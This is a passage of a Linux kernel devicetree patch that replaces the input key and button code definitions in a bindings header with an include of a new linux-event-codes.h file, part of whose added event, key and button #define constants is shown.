--#define KEY_KP1			79
--#define KEY_KP2			80
--#define KEY_KP3			81
--#define KEY_KP0			82
--#define KEY_KPDOT		83
--
--#define KEY_ZENKAKUHANKAKU	85
--#define KEY_102ND		86
--#define KEY_F11			87
--#define KEY_F12			88
--#define KEY_RO			89
--#define KEY_KATAKANA		90
--#define KEY_HIRAGANA		91
--#define KEY_HENKAN		92
--#define KEY_KATAKANAHIRAGANA	93
--#define KEY_MUHENKAN		94
--#define KEY_KPJPCOMMA		95
--#define KEY_KPENTER		96
--#define KEY_RIGHTCTRL		97
--#define KEY_KPSLASH		98
--#define KEY_SYSRQ		99
--#define KEY_RIGHTALT		100
--#define KEY_LINEFEED		101
--#define KEY_HOME		102
--#define KEY_UP			103
--#define KEY_PAGEUP		104
--#define KEY_LEFT		105
--#define KEY_RIGHT		106
--#define KEY_END			107
--#define KEY_DOWN		108
--#define KEY_PAGEDOWN		109
--#define KEY_INSERT		110
--#define KEY_DELETE		111
--#define KEY_MACRO		112
--#define KEY_MUTE		113
--#define KEY_VOLUMEDOWN		114
--#define KEY_VOLUMEUP		115
--#define KEY_POWER		116	/* SC System Power Down */
--#define KEY_KPEQUAL		117
--#define KEY_KPPLUSMINUS		118
--#define KEY_PAUSE		119
--#define KEY_SCALE		120	/* AL Compiz Scale (Expose) */
--
--#define KEY_KPCOMMA		121
--#define KEY_HANGEUL		122
--#define KEY_HANGUEL		KEY_HANGEUL
--#define KEY_HANJA		123
--#define KEY_YEN			124
--#define KEY_LEFTMETA		125
--#define KEY_RIGHTMETA		126
--#define KEY_COMPOSE		127
--
--#define KEY_STOP		128	/* AC Stop */
--#define KEY_AGAIN		129
--#define KEY_PROPS		130	/* AC Properties */
--#define KEY_UNDO		131	/* AC Undo */
--#define KEY_FRONT		132
--#define KEY_COPY		133	/* AC Copy */
--#define KEY_OPEN		134	/* AC Open */
--#define KEY_PASTE		135	/* AC Paste */
--#define KEY_FIND		136	/* AC Search */
--#define KEY_CUT			137	/* AC Cut */
--#define KEY_HELP		138	/* AL Integrated Help Center */
--#define KEY_MENU		139	/* Menu (show menu) */
--#define KEY_CALC		140	/* AL Calculator */
--#define KEY_SETUP		141
--#define KEY_SLEEP		142	/* SC System Sleep */
--#define KEY_WAKEUP		143	/* System Wake Up */
--#define KEY_FILE		144	/* AL Local Machine Browser */
--#define KEY_SENDFILE		145
--#define KEY_DELETEFILE		146
--#define KEY_XFER		147
--#define KEY_PROG1		148
--#define KEY_PROG2		149
--#define KEY_WWW			150	/* AL Internet Browser */
--#define KEY_MSDOS		151
--#define KEY_COFFEE		152	/* AL Terminal Lock/Screensaver */
--#define KEY_SCREENLOCK		KEY_COFFEE
--#define KEY_DIRECTION		153
--#define KEY_CYCLEWINDOWS	154
--#define KEY_MAIL		155
--#define KEY_BOOKMARKS		156	/* AC Bookmarks */
--#define KEY_COMPUTER		157
--#define KEY_BACK		158	/* AC Back */
--#define KEY_FORWARD		159	/* AC Forward */
--#define KEY_CLOSECD		160
--#define KEY_EJECTCD		161
--#define KEY_EJECTCLOSECD	162
--#define KEY_NEXTSONG		163
--#define KEY_PLAYPAUSE		164
--#define KEY_PREVIOUSSONG	165
--#define KEY_STOPCD		166
--#define KEY_RECORD		167
--#define KEY_REWIND		168
--#define KEY_PHONE		169	/* Media Select Telephone */
--#define KEY_ISO			170
--#define KEY_CONFIG		171	/* AL Consumer Control Configuration */
--#define KEY_HOMEPAGE		172	/* AC Home */
--#define KEY_REFRESH		173	/* AC Refresh */
--#define KEY_EXIT		174	/* AC Exit */
--#define KEY_MOVE		175
--#define KEY_EDIT		176
--#define KEY_SCROLLUP		177
--#define KEY_SCROLLDOWN		178
--#define KEY_KPLEFTPAREN		179
--#define KEY_KPRIGHTPAREN	180
--#define KEY_NEW			181	/* AC New */
--#define KEY_REDO		182	/* AC Redo/Repeat */
--
--#define KEY_F13			183
--#define KEY_F14			184
--#define KEY_F15			185
--#define KEY_F16			186
--#define KEY_F17			187
--#define KEY_F18			188
--#define KEY_F19			189
--#define KEY_F20			190
--#define KEY_F21			191
--#define KEY_F22			192
--#define KEY_F23			193
--#define KEY_F24			194
--
--#define KEY_PLAYCD		200
--#define KEY_PAUSECD		201
--#define KEY_PROG3		202
--#define KEY_PROG4		203
--#define KEY_DASHBOARD		204	/* AL Dashboard */
--#define KEY_SUSPEND		205
--#define KEY_CLOSE		206	/* AC Close */
--#define KEY_PLAY		207
--#define KEY_FASTFORWARD		208
--#define KEY_BASSBOOST		209
--#define KEY_PRINT		210	/* AC Print */
--#define KEY_HP			211
--#define KEY_CAMERA		212
--#define KEY_SOUND		213
--#define KEY_QUESTION		214
--#define KEY_EMAIL		215
--#define KEY_CHAT		216
--#define KEY_SEARCH		217
--#define KEY_CONNECT		218
--#define KEY_FINANCE		219	/* AL Checkbook/Finance */
--#define KEY_SPORT		220
--#define KEY_SHOP		221
--#define KEY_ALTERASE		222
--#define KEY_CANCEL		223	/* AC Cancel */
--#define KEY_BRIGHTNESSDOWN	224
--#define KEY_BRIGHTNESSUP	225
--#define KEY_MEDIA		226
--
--#define KEY_SWITCHVIDEOMODE	227	/* Cycle between available video
--					   outputs (Monitor/LCD/TV-out/etc) */
--#define KEY_KBDILLUMTOGGLE	228
--#define KEY_KBDILLUMDOWN	229
--#define KEY_KBDILLUMUP		230
--
--#define KEY_SEND		231	/* AC Send */
--#define KEY_REPLY		232	/* AC Reply */
--#define KEY_FORWARDMAIL		233	/* AC Forward Msg */
--#define KEY_SAVE		234	/* AC Save */
--#define KEY_DOCUMENTS		235
--
--#define KEY_BATTERY		236
--
--#define KEY_BLUETOOTH		237
--#define KEY_WLAN		238
--#define KEY_UWB			239
--
--#define KEY_UNKNOWN		240
--
--#define KEY_VIDEO_NEXT		241	/* drive next video source */
--#define KEY_VIDEO_PREV		242	/* drive previous video source */
--#define KEY_BRIGHTNESS_CYCLE	243	/* brightness up, after max is min */
--#define KEY_BRIGHTNESS_ZERO	244	/* brightness off, use ambient */
--#define KEY_DISPLAY_OFF		245	/* display device to off state */
--
--#define KEY_WIMAX		246
--#define KEY_RFKILL		247	/* Key that controls all radios */
--
--#define KEY_MICMUTE		248	/* Mute / unmute the microphone */
--
--/* Code 255 is reserved for special needs of AT keyboard driver */
--
--#define BTN_MISC		0x100
--#define BTN_0			0x100
--#define BTN_1			0x101
--#define BTN_2			0x102
--#define BTN_3			0x103
--#define BTN_4			0x104
--#define BTN_5			0x105
--#define BTN_6			0x106
--#define BTN_7			0x107
--#define BTN_8			0x108
--#define BTN_9			0x109
--
--#define BTN_MOUSE		0x110
--#define BTN_LEFT		0x110
--#define BTN_RIGHT		0x111
--#define BTN_MIDDLE		0x112
--#define BTN_SIDE		0x113
--#define BTN_EXTRA		0x114
--#define BTN_FORWARD		0x115
--#define BTN_BACK		0x116
--#define BTN_TASK		0x117
--
--#define BTN_JOYSTICK		0x120
--#define BTN_TRIGGER		0x120
--#define BTN_THUMB		0x121
--#define BTN_THUMB2		0x122
--#define BTN_TOP			0x123
--#define BTN_TOP2		0x124
--#define BTN_PINKIE		0x125
--#define BTN_BASE		0x126
--#define BTN_BASE2		0x127
--#define BTN_BASE3		0x128
--#define BTN_BASE4		0x129
--#define BTN_BASE5		0x12a
--#define BTN_BASE6		0x12b
--#define BTN_DEAD		0x12f
--
--#define BTN_GAMEPAD		0x130
--#define BTN_SOUTH		0x130
--#define BTN_A			BTN_SOUTH
--#define BTN_EAST		0x131
--#define BTN_B			BTN_EAST
--#define BTN_C			0x132
--#define BTN_NORTH		0x133
--#define BTN_X			BTN_NORTH
--#define BTN_WEST		0x134
--#define BTN_Y			BTN_WEST
--#define BTN_Z			0x135
--#define BTN_TL			0x136
--#define BTN_TR			0x137
--#define BTN_TL2			0x138
--#define BTN_TR2			0x139
--#define BTN_SELECT		0x13a
--#define BTN_START		0x13b
--#define BTN_MODE		0x13c
--#define BTN_THUMBL		0x13d
--#define BTN_THUMBR		0x13e
--
--#define BTN_DIGI		0x140
--#define BTN_TOOL_PEN		0x140
--#define BTN_TOOL_RUBBER		0x141
--#define BTN_TOOL_BRUSH		0x142
--#define BTN_TOOL_PENCIL		0x143
--#define BTN_TOOL_AIRBRUSH	0x144
--#define BTN_TOOL_FINGER		0x145
--#define BTN_TOOL_MOUSE		0x146
--#define BTN_TOOL_LENS		0x147
--#define BTN_TOOL_QUINTTAP	0x148	/* Five fingers on trackpad */
--#define BTN_TOUCH		0x14a
--#define BTN_STYLUS		0x14b
--#define BTN_STYLUS2		0x14c
--#define BTN_TOOL_DOUBLETAP	0x14d
--#define BTN_TOOL_TRIPLETAP	0x14e
--#define BTN_TOOL_QUADTAP	0x14f	/* Four fingers on trackpad */
--
--#define BTN_WHEEL		0x150
--#define BTN_GEAR_DOWN		0x150
--#define BTN_GEAR_UP		0x151
--
--#define KEY_OK			0x160
--#define KEY_SELECT		0x161
--#define KEY_GOTO		0x162
--#define KEY_CLEAR		0x163
--#define KEY_POWER2		0x164
--#define KEY_OPTION		0x165
--#define KEY_INFO		0x166	/* AL OEM Features/Tips/Tutorial */
--#define KEY_TIME		0x167
--#define KEY_VENDOR		0x168
--#define KEY_ARCHIVE		0x169
--#define KEY_PROGRAM		0x16a	/* Media Select Program Guide */
--#define KEY_CHANNEL		0x16b
--#define KEY_FAVORITES		0x16c
--#define KEY_EPG			0x16d
--#define KEY_PVR			0x16e	/* Media Select Home */
--#define KEY_MHP			0x16f
--#define KEY_LANGUAGE		0x170
--#define KEY_TITLE		0x171
--#define KEY_SUBTITLE		0x172
--#define KEY_ANGLE		0x173
--#define KEY_ZOOM		0x174
--#define KEY_MODE		0x175
--#define KEY_KEYBOARD		0x176
--#define KEY_SCREEN		0x177
--#define KEY_PC			0x178	/* Media Select Computer */
--#define KEY_TV			0x179	/* Media Select TV */
--#define KEY_TV2			0x17a	/* Media Select Cable */
--#define KEY_VCR			0x17b	/* Media Select VCR */
--#define KEY_VCR2		0x17c	/* VCR Plus */
--#define KEY_SAT			0x17d	/* Media Select Satellite */
--#define KEY_SAT2		0x17e
--#define KEY_CD			0x17f	/* Media Select CD */
--#define KEY_TAPE		0x180	/* Media Select Tape */
--#define KEY_RADIO		0x181
--#define KEY_TUNER		0x182	/* Media Select Tuner */
--#define KEY_PLAYER		0x183
--#define KEY_TEXT		0x184
--#define KEY_DVD			0x185	/* Media Select DVD */
--#define KEY_AUX			0x186
--#define KEY_MP3			0x187
--#define KEY_AUDIO		0x188	/* AL Audio Browser */
--#define KEY_VIDEO		0x189	/* AL Movie Browser */
--#define KEY_DIRECTORY		0x18a
--#define KEY_LIST		0x18b
--#define KEY_MEMO		0x18c	/* Media Select Messages */
--#define KEY_CALENDAR		0x18d
--#define KEY_RED			0x18e
--#define KEY_GREEN		0x18f
--#define KEY_YELLOW		0x190
--#define KEY_BLUE		0x191
--#define KEY_CHANNELUP		0x192	/* Channel Increment */
--#define KEY_CHANNELDOWN		0x193	/* Channel Decrement */
--#define KEY_FIRST		0x194
--#define KEY_LAST		0x195	/* Recall Last */
--#define KEY_AB			0x196
--#define KEY_NEXT		0x197
--#define KEY_RESTART		0x198
--#define KEY_SLOW		0x199
--#define KEY_SHUFFLE		0x19a
--#define KEY_BREAK		0x19b
--#define KEY_PREVIOUS		0x19c
--#define KEY_DIGITS		0x19d
--#define KEY_TEEN		0x19e
--#define KEY_TWEN		0x19f
--#define KEY_VIDEOPHONE		0x1a0	/* Media Select Video Phone */
--#define KEY_GAMES		0x1a1	/* Media Select Games */
--#define KEY_ZOOMIN		0x1a2	/* AC Zoom In */
--#define KEY_ZOOMOUT		0x1a3	/* AC Zoom Out */
--#define KEY_ZOOMRESET		0x1a4	/* AC Zoom */
--#define KEY_WORDPROCESSOR	0x1a5	/* AL Word Processor */
--#define KEY_EDITOR		0x1a6	/* AL Text Editor */
--#define KEY_SPREADSHEET		0x1a7	/* AL Spreadsheet */
--#define KEY_GRAPHICSEDITOR	0x1a8	/* AL Graphics Editor */
--#define KEY_PRESENTATION	0x1a9	/* AL Presentation App */
--#define KEY_DATABASE		0x1aa	/* AL Database App */
--#define KEY_NEWS		0x1ab	/* AL Newsreader */
--#define KEY_VOICEMAIL		0x1ac	/* AL Voicemail */
--#define KEY_ADDRESSBOOK		0x1ad	/* AL Contacts/Address Book */
--#define KEY_MESSENGER		0x1ae	/* AL Instant Messaging */
--#define KEY_DISPLAYTOGGLE	0x1af	/* Turn display (LCD) on and off */
--#define KEY_SPELLCHECK		0x1b0   /* AL Spell Check */
--#define KEY_LOGOFF		0x1b1   /* AL Logoff */
--
--#define KEY_DOLLAR		0x1b2
--#define KEY_EURO		0x1b3
--
--#define KEY_FRAMEBACK		0x1b4	/* Consumer - transport controls */
--#define KEY_FRAMEFORWARD	0x1b5
--#define KEY_CONTEXT_MENU	0x1b6	/* GenDesc - system context menu */
--#define KEY_MEDIA_REPEAT	0x1b7	/* Consumer - transport control */
--#define KEY_10CHANNELSUP	0x1b8	/* 10 channels up (10+) */
--#define KEY_10CHANNELSDOWN	0x1b9	/* 10 channels down (10-) */
--#define KEY_IMAGES		0x1ba	/* AL Image Browser */
--
--#define KEY_DEL_EOL		0x1c0
--#define KEY_DEL_EOS		0x1c1
--#define KEY_INS_LINE		0x1c2
--#define KEY_DEL_LINE		0x1c3
--
--#define KEY_FN			0x1d0
--#define KEY_FN_ESC		0x1d1
--#define KEY_FN_F1		0x1d2
--#define KEY_FN_F2		0x1d3
--#define KEY_FN_F3		0x1d4
--#define KEY_FN_F4		0x1d5
--#define KEY_FN_F5		0x1d6
--#define KEY_FN_F6		0x1d7
--#define KEY_FN_F7		0x1d8
--#define KEY_FN_F8		0x1d9
--#define KEY_FN_F9		0x1da
--#define KEY_FN_F10		0x1db
--#define KEY_FN_F11		0x1dc
--#define KEY_FN_F12		0x1dd
--#define KEY_FN_1		0x1de
--#define KEY_FN_2		0x1df
--#define KEY_FN_D		0x1e0
--#define KEY_FN_E		0x1e1
--#define KEY_FN_F		0x1e2
--#define KEY_FN_S		0x1e3
--#define KEY_FN_B		0x1e4
--
--#define KEY_BRL_DOT1		0x1f1
--#define KEY_BRL_DOT2		0x1f2
--#define KEY_BRL_DOT3		0x1f3
--#define KEY_BRL_DOT4		0x1f4
--#define KEY_BRL_DOT5		0x1f5
--#define KEY_BRL_DOT6		0x1f6
--#define KEY_BRL_DOT7		0x1f7
--#define KEY_BRL_DOT8		0x1f8
--#define KEY_BRL_DOT9		0x1f9
--#define KEY_BRL_DOT10		0x1fa
--
--#define KEY_NUMERIC_0		0x200	/* used by phones, remote controls, */
--#define KEY_NUMERIC_1		0x201	/* and other keypads */
--#define KEY_NUMERIC_2		0x202
--#define KEY_NUMERIC_3		0x203
--#define KEY_NUMERIC_4		0x204
--#define KEY_NUMERIC_5		0x205
--#define KEY_NUMERIC_6		0x206
--#define KEY_NUMERIC_7		0x207
--#define KEY_NUMERIC_8		0x208
--#define KEY_NUMERIC_9		0x209
--#define KEY_NUMERIC_STAR	0x20a
--#define KEY_NUMERIC_POUND	0x20b
--
--#define KEY_CAMERA_FOCUS	0x210
--#define KEY_WPS_BUTTON		0x211	/* WiFi Protected Setup key */
--
--#define KEY_TOUCHPAD_TOGGLE	0x212	/* Request switch touchpad on or off */
--#define KEY_TOUCHPAD_ON		0x213
--#define KEY_TOUCHPAD_OFF	0x214
--
--#define KEY_CAMERA_ZOOMIN	0x215
--#define KEY_CAMERA_ZOOMOUT	0x216
--#define KEY_CAMERA_UP		0x217
--#define KEY_CAMERA_DOWN		0x218
--#define KEY_CAMERA_LEFT		0x219
--#define KEY_CAMERA_RIGHT	0x21a
--
--#define KEY_ATTENDANT_ON	0x21b
--#define KEY_ATTENDANT_OFF	0x21c
--#define KEY_ATTENDANT_TOGGLE	0x21d	/* Attendant call on or off */
--#define KEY_LIGHTS_TOGGLE	0x21e	/* Reading light on or off */
--
--#define BTN_DPAD_UP		0x220
--#define BTN_DPAD_DOWN		0x221
--#define BTN_DPAD_LEFT		0x222
--#define BTN_DPAD_RIGHT		0x223
-+#include "linux-event-codes.h"
- 
- #define MATRIX_KEY(row, col, code)	\
- 	((((row) & 0xFF) << 24) | (((col) & 0xFF) << 16) | ((code) & 0xFFFF))
---- /dev/null
-+++ b/include/dt-bindings/input/linux-event-codes.h
-@@ -0,0 +1,805 @@
-+/*
-+ * Input event codes
-+ *
-+ *    *** IMPORTANT ***
-+ * This file is not only included from C-code but also from devicetree source
-+ * files. As such this file MUST only contain comments and defines.
-+ *
-+ * Copyright (c) 1999-2002 Vojtech Pavlik
-+ * Copyright (c) 2015 Hans de Goede <hdegoede at redhat.com>
-+ *
-+ * This program is free software; you can redistribute it and/or modify it
-+ * under the terms of the GNU General Public License version 2 as published by
-+ * the Free Software Foundation.
-+ */
-+#ifndef _UAPI_INPUT_EVENT_CODES_H
-+#define _UAPI_INPUT_EVENT_CODES_H
-+
-+/*
-+ * Device properties and quirks
-+ */
-+
-+#define INPUT_PROP_POINTER		0x00	/* needs a pointer */
-+#define INPUT_PROP_DIRECT		0x01	/* direct input devices */
-+#define INPUT_PROP_BUTTONPAD		0x02	/* has button(s) under pad */
-+#define INPUT_PROP_SEMI_MT		0x03	/* touch rectangle only */
-+#define INPUT_PROP_TOPBUTTONPAD		0x04	/* softbuttons at top of pad */
-+#define INPUT_PROP_POINTING_STICK	0x05	/* is a pointing stick */
-+#define INPUT_PROP_ACCELEROMETER	0x06	/* has accelerometer */
-+
-+#define INPUT_PROP_MAX			0x1f
-+#define INPUT_PROP_CNT			(INPUT_PROP_MAX + 1)
-+
-+/*
-+ * Event types
-+ */
-+
-+#define EV_SYN			0x00
-+#define EV_KEY			0x01
-+#define EV_REL			0x02
-+#define EV_ABS			0x03
-+#define EV_MSC			0x04
-+#define EV_SW			0x05
-+#define EV_LED			0x11
-+#define EV_SND			0x12
-+#define EV_REP			0x14
-+#define EV_FF			0x15
-+#define EV_PWR			0x16
-+#define EV_FF_STATUS		0x17
-+#define EV_MAX			0x1f
-+#define EV_CNT			(EV_MAX+1)
-+
-+/*
-+ * Synchronization events.
-+ */
-+
-+#define SYN_REPORT		0
-+#define SYN_CONFIG		1
-+#define SYN_MT_REPORT		2
-+#define SYN_DROPPED		3
-+#define SYN_MAX			0xf
-+#define SYN_CNT			(SYN_MAX+1)
-+
-+/*
-+ * Keys and buttons
-+ *
-+ * Most of the keys/buttons are modeled after USB HUT 1.12
-+ * (see http://www.usb.org/developers/hidpage).
-+ * Abbreviations in the comments:
-+ * AC - Application Control
-+ * AL - Application Launch Button
-+ * SC - System Control
-+ */
-+
-+#define KEY_RESERVED		0
-+#define KEY_ESC			1
-+#define KEY_1			2
-+#define KEY_2			3
-+#define KEY_3			4
-+#define KEY_4			5
-+#define KEY_5			6
-+#define KEY_6			7
-+#define KEY_7			8
-+#define KEY_8			9
-+#define KEY_9			10
-+#define KEY_0			11
-+#define KEY_MINUS		12
-+#define KEY_EQUAL		13
-+#define KEY_BACKSPACE		14
-+#define KEY_TAB			15
-+#define KEY_Q			16
-+#define KEY_W			17
-+#define KEY_E			18
-+#define KEY_R			19
-+#define KEY_T			20
-+#define KEY_Y			21
-+#define KEY_U			22
-+#define KEY_I			23
-+#define KEY_O			24
-+#define KEY_P			25
-+#define KEY_LEFTBRACE		26
-+#define KEY_RIGHTBRACE		27
-+#define KEY_ENTER		28
-+#define KEY_LEFTCTRL		29
-+#define KEY_A			30
-+#define KEY_S			31
-+#define KEY_D			32
-+#define KEY_F			33
-+#define KEY_G			34
-+#define KEY_H			35
-+#define KEY_J			36
-+#define KEY_K			37
-+#define KEY_L			38
-+#define KEY_SEMICOLON		39
-+#define KEY_APOSTROPHE		40
-+#define KEY_GRAVE		41
-+#define KEY_LEFTSHIFT		42
-+#define KEY_BACKSLASH		43
-+#define KEY_Z			44
-+#define KEY_X			45
-+#define KEY_C			46
-+#define KEY_V			47
-+#define KEY_B			48
-+#define KEY_N			49
-+#define KEY_M			50
-+#define KEY_COMMA		51
-+#define KEY_DOT			52
-+#define KEY_SLASH		53
-+#define KEY_RIGHTSHIFT		54
-+#define KEY_KPASTERISK		55
-+#define KEY_LEFTALT		56
-+#define KEY_SPACE		57
-+#define KEY_CAPSLOCK		58
-+#define KEY_F1			59
-+#define KEY_F2			60
-+#define KEY_F3			61
-+#define KEY_F4			62
-+#define KEY_F5			63
-+#define KEY_F6			64
-+#define KEY_F7			65
-+#define KEY_F8			66
-+#define KEY_F9			67
-+#define KEY_F10			68
-+#define KEY_NUMLOCK		69
-+#define KEY_SCROLLLOCK		70
-+#define KEY_KP7			71
-+#define KEY_KP8			72
-+#define KEY_KP9			73
-+#define KEY_KPMINUS		74
-+#define KEY_KP4			75
-+#define KEY_KP5			76
-+#define KEY_KP6			77
-+#define KEY_KPPLUS		78
-+#define KEY_KP1			79
-+#define KEY_KP2			80
-+#define KEY_KP3			81
-+#define KEY_KP0			82
-+#define KEY_KPDOT		83
-+
-+#define KEY_ZENKAKUHANKAKU	85
-+#define KEY_102ND		86
-+#define KEY_F11			87
-+#define KEY_F12			88
-+#define KEY_RO			89
-+#define KEY_KATAKANA		90
-+#define KEY_HIRAGANA		91
-+#define KEY_HENKAN		92
-+#define KEY_KATAKANAHIRAGANA	93
-+#define KEY_MUHENKAN		94
-+#define KEY_KPJPCOMMA		95
-+#define KEY_KPENTER		96
-+#define KEY_RIGHTCTRL		97
-+#define KEY_KPSLASH		98
-+#define KEY_SYSRQ		99
-+#define KEY_RIGHTALT		100
-+#define KEY_LINEFEED		101
-+#define KEY_HOME		102
-+#define KEY_UP			103
-+#define KEY_PAGEUP		104
-+#define KEY_LEFT		105
-+#define KEY_RIGHT		106
-+#define KEY_END			107
-+#define KEY_DOWN		108
-+#define KEY_PAGEDOWN		109
-+#define KEY_INSERT		110
-+#define KEY_DELETE		111
-+#define KEY_MACRO		112
-+#define KEY_MUTE		113
-+#define KEY_VOLUMEDOWN		114
-+#define KEY_VOLUMEUP		115
-+#define KEY_POWER		116	/* SC System Power Down */
-+#define KEY_KPEQUAL		117
-+#define KEY_KPPLUSMINUS		118
-+#define KEY_PAUSE		119
-+#define KEY_SCALE		120	/* AL Compiz Scale (Expose) */
-+
-+#define KEY_KPCOMMA		121
-+#define KEY_HANGEUL		122
-+#define KEY_HANGUEL		KEY_HANGEUL
-+#define KEY_HANJA		123
-+#define KEY_YEN			124
-+#define KEY_LEFTMETA		125
-+#define KEY_RIGHTMETA		126
-+#define KEY_COMPOSE		127
-+
-+#define KEY_STOP		128	/* AC Stop */
-+#define KEY_AGAIN		129
-+#define KEY_PROPS		130	/* AC Properties */
-+#define KEY_UNDO		131	/* AC Undo */
-+#define KEY_FRONT		132
-+#define KEY_COPY		133	/* AC Copy */
-+#define KEY_OPEN		134	/* AC Open */
-+#define KEY_PASTE		135	/* AC Paste */
-+#define KEY_FIND		136	/* AC Search */
-+#define KEY_CUT			137	/* AC Cut */
-+#define KEY_HELP		138	/* AL Integrated Help Center */
-+#define KEY_MENU		139	/* Menu (show menu) */
-+#define KEY_CALC		140	/* AL Calculator */
-+#define KEY_SETUP		141
-+#define KEY_SLEEP		142	/* SC System Sleep */
-+#define KEY_WAKEUP		143	/* System Wake Up */
-+#define KEY_FILE		144	/* AL Local Machine Browser */
-+#define KEY_SENDFILE		145
-+#define KEY_DELETEFILE		146
-+#define KEY_XFER		147
-+#define KEY_PROG1		148
-+#define KEY_PROG2		149
-+#define KEY_WWW			150	/* AL Internet Browser */
-+#define KEY_MSDOS		151
-+#define KEY_COFFEE		152	/* AL Terminal Lock/Screensaver */
-+#define KEY_SCREENLOCK		KEY_COFFEE
-+#define KEY_ROTATE_DISPLAY	153	/* Display orientation for e.g. tablets */
-+#define KEY_DIRECTION		KEY_ROTATE_DISPLAY
-+#define KEY_CYCLEWINDOWS	154
-+#define KEY_MAIL		155
-+#define KEY_BOOKMARKS		156	/* AC Bookmarks */
-+#define KEY_COMPUTER		157
-+#define KEY_BACK		158	/* AC Back */
-+#define KEY_FORWARD		159	/* AC Forward */
-+#define KEY_CLOSECD		160
-+#define KEY_EJECTCD		161
-+#define KEY_EJECTCLOSECD	162
-+#define KEY_NEXTSONG		163
-+#define KEY_PLAYPAUSE		164
-+#define KEY_PREVIOUSSONG	165
-+#define KEY_STOPCD		166
-+#define KEY_RECORD		167
-+#define KEY_REWIND		168
-+#define KEY_PHONE		169	/* Media Select Telephone */
-+#define KEY_ISO			170
-+#define KEY_CONFIG		171	/* AL Consumer Control Configuration */
-+#define KEY_HOMEPAGE		172	/* AC Home */
-+#define KEY_REFRESH		173	/* AC Refresh */
-+#define KEY_EXIT		174	/* AC Exit */
-+#define KEY_MOVE		175
-+#define KEY_EDIT		176
-+#define KEY_SCROLLUP		177
-+#define KEY_SCROLLDOWN		178
-+#define KEY_KPLEFTPAREN		179
-+#define KEY_KPRIGHTPAREN	180
-+#define KEY_NEW			181	/* AC New */
-+#define KEY_REDO		182	/* AC Redo/Repeat */
-+
-+#define KEY_F13			183
-+#define KEY_F14			184
-+#define KEY_F15			185
-+#define KEY_F16			186
-+#define KEY_F17			187
-+#define KEY_F18			188
-+#define KEY_F19			189
-+#define KEY_F20			190
-+#define KEY_F21			191
-+#define KEY_F22			192
-+#define KEY_F23			193
-+#define KEY_F24			194
-+
-+#define KEY_PLAYCD		200
-+#define KEY_PAUSECD		201
-+#define KEY_PROG3		202
-+#define KEY_PROG4		203
-+#define KEY_DASHBOARD		204	/* AL Dashboard */
-+#define KEY_SUSPEND		205
-+#define KEY_CLOSE		206	/* AC Close */
-+#define KEY_PLAY		207
-+#define KEY_FASTFORWARD		208
-+#define KEY_BASSBOOST		209
-+#define KEY_PRINT		210	/* AC Print */
-+#define KEY_HP			211
-+#define KEY_CAMERA		212
-+#define KEY_SOUND		213
-+#define KEY_QUESTION		214
-+#define KEY_EMAIL		215
-+#define KEY_CHAT		216
-+#define KEY_SEARCH		217
-+#define KEY_CONNECT		218
-+#define KEY_FINANCE		219	/* AL Checkbook/Finance */
-+#define KEY_SPORT		220
-+#define KEY_SHOP		221
-+#define KEY_ALTERASE		222
-+#define KEY_CANCEL		223	/* AC Cancel */
-+#define KEY_BRIGHTNESSDOWN	224
-+#define KEY_BRIGHTNESSUP	225
-+#define KEY_MEDIA		226
-+
-+#define KEY_SWITCHVIDEOMODE	227	/* Cycle between available video
-+					   outputs (Monitor/LCD/TV-out/etc) */
-+#define KEY_KBDILLUMTOGGLE	228
-+#define KEY_KBDILLUMDOWN	229
-+#define KEY_KBDILLUMUP		230
-+
-+#define KEY_SEND		231	/* AC Send */
-+#define KEY_REPLY		232	/* AC Reply */
-+#define KEY_FORWARDMAIL		233	/* AC Forward Msg */
-+#define KEY_SAVE		234	/* AC Save */
-+#define KEY_DOCUMENTS		235
-+
-+#define KEY_BATTERY		236
-+
-+#define KEY_BLUETOOTH		237
-+#define KEY_WLAN		238
-+#define KEY_UWB			239
-+
-+#define KEY_UNKNOWN		240
-+
-+#define KEY_VIDEO_NEXT		241	/* drive next video source */
-+#define KEY_VIDEO_PREV		242	/* drive previous video source */
-+#define KEY_BRIGHTNESS_CYCLE	243	/* brightness up, after max is min */
-+#define KEY_BRIGHTNESS_AUTO	244	/* Set Auto Brightness: manual
-+					  brightness control is off,
-+					  rely on ambient */
-+#define KEY_BRIGHTNESS_ZERO	KEY_BRIGHTNESS_AUTO
-+#define KEY_DISPLAY_OFF		245	/* display device to off state */
-+
-+#define KEY_WWAN		246	/* Wireless WAN (LTE, UMTS, GSM, etc.) */
-+#define KEY_WIMAX		KEY_WWAN
-+#define KEY_RFKILL		247	/* Key that controls all radios */
-+
-+#define KEY_MICMUTE		248	/* Mute / unmute the microphone */
-+
-+/* Code 255 is reserved for special needs of AT keyboard driver */
-+
-+#define BTN_MISC		0x100
-+#define BTN_0			0x100
-+#define BTN_1			0x101
-+#define BTN_2			0x102
-+#define BTN_3			0x103
-+#define BTN_4			0x104
-+#define BTN_5			0x105
-+#define BTN_6			0x106
-+#define BTN_7			0x107
-+#define BTN_8			0x108
-+#define BTN_9			0x109
-+
-+#define BTN_MOUSE		0x110
-+#define BTN_LEFT		0x110
-+#define BTN_RIGHT		0x111
-+#define BTN_MIDDLE		0x112
-+#define BTN_SIDE		0x113
-+#define BTN_EXTRA		0x114
-+#define BTN_FORWARD		0x115
-+#define BTN_BACK		0x116
-+#define BTN_TASK		0x117
-+
-+#define BTN_JOYSTICK		0x120
-+#define BTN_TRIGGER		0x120
-+#define BTN_THUMB		0x121
-+#define BTN_THUMB2		0x122
-+#define BTN_TOP			0x123
-+#define BTN_TOP2		0x124
-+#define BTN_PINKIE		0x125
-+#define BTN_BASE		0x126
-+#define BTN_BASE2		0x127
-+#define BTN_BASE3		0x128
-+#define BTN_BASE4		0x129
-+#define BTN_BASE5		0x12a
-+#define BTN_BASE6		0x12b
-+#define BTN_DEAD		0x12f
-+
-+#define BTN_GAMEPAD		0x130
-+#define BTN_SOUTH		0x130
-+#define BTN_A			BTN_SOUTH
-+#define BTN_EAST		0x131
-+#define BTN_B			BTN_EAST
-+#define BTN_C			0x132
-+#define BTN_NORTH		0x133
-+#define BTN_X			BTN_NORTH
-+#define BTN_WEST		0x134
-+#define BTN_Y			BTN_WEST
-+#define BTN_Z			0x135
-+#define BTN_TL			0x136
-+#define BTN_TR			0x137
-+#define BTN_TL2			0x138
-+#define BTN_TR2			0x139
-+#define BTN_SELECT		0x13a
-+#define BTN_START		0x13b
-+#define BTN_MODE		0x13c
-+#define BTN_THUMBL		0x13d
-+#define BTN_THUMBR		0x13e
-+
-+#define BTN_DIGI		0x140
-+#define BTN_TOOL_PEN		0x140
-+#define BTN_TOOL_RUBBER		0x141
-+#define BTN_TOOL_BRUSH		0x142
